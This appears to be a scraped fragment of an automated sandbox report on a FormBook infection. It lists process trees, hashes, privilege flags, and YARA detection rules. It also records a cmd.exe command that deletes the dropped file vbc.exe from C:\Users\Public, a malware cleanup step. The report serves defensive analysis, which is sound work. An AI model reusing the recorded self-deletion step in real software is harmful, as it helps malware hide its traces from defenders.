Start time: 09:00:37

Start date: 26/11/2020

Path: C:\Windows\SysWOW64\wscript.exe

File ReadFile Read

Analysis Process: explorer.exe PID: 1388 Parent PID: 2484Analysis Process: explorer.exe PID: 1388 Parent PID: 2484

General

Analysis Process: wscript.exe PID: 268 Parent PID: 1388Analysis Process: wscript.exe PID: 268 Parent PID: 1388

General
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File ActivitiesFile Activities

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\wscript.exe

Imagebase: 0x4f0000

File size: 141824 bytes

MD5 hash: 979D74799EA6C8B8167869A68DF5204A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000009.00000002.2389315305.00000000001D0000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000009.00000002.2389315305.00000000001D0000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000009.00000002.2389315305.00000000001D0000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000009.00000002.2389221261.0000000000070000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000009.00000002.2389221261.0000000000070000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000009.00000002.2389221261.0000000000070000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000009.00000002.2389348504.0000000000240000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000009.00000002.2389348504.0000000000240000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000009.00000002.2389348504.0000000000240000.00000004.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group

Reputation: high

File Path Offset Length Completion Count
Source
Address Symbol

C:\Windows\SysWOW64\ntdll.dll 0 1314112 success or wait 1 89E57 NtReadFile

File ActivitiesFile Activities

Start time: 09:00:41

Start date: 26/11/2020

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: /c del 'C:\Users\Public\vbc.exe'

Imagebase: 0x4aaa0000

File size: 302592 bytes

MD5 hash: AD7B9C14083B52BC532FBA5948342B98

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

File Path Completion Count
Source
Address Symbol

C:\Users\Public\vbc.exe success or wait 1 4AAAA7BD DeleteFileW

File ReadFile Read

Analysis Process: cmd.exe PID: 2228 Parent PID: 268Analysis Process: cmd.exe PID: 2228 Parent PID: 268

General

File DeletedFile Deleted
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Disassembly

Code Analysis
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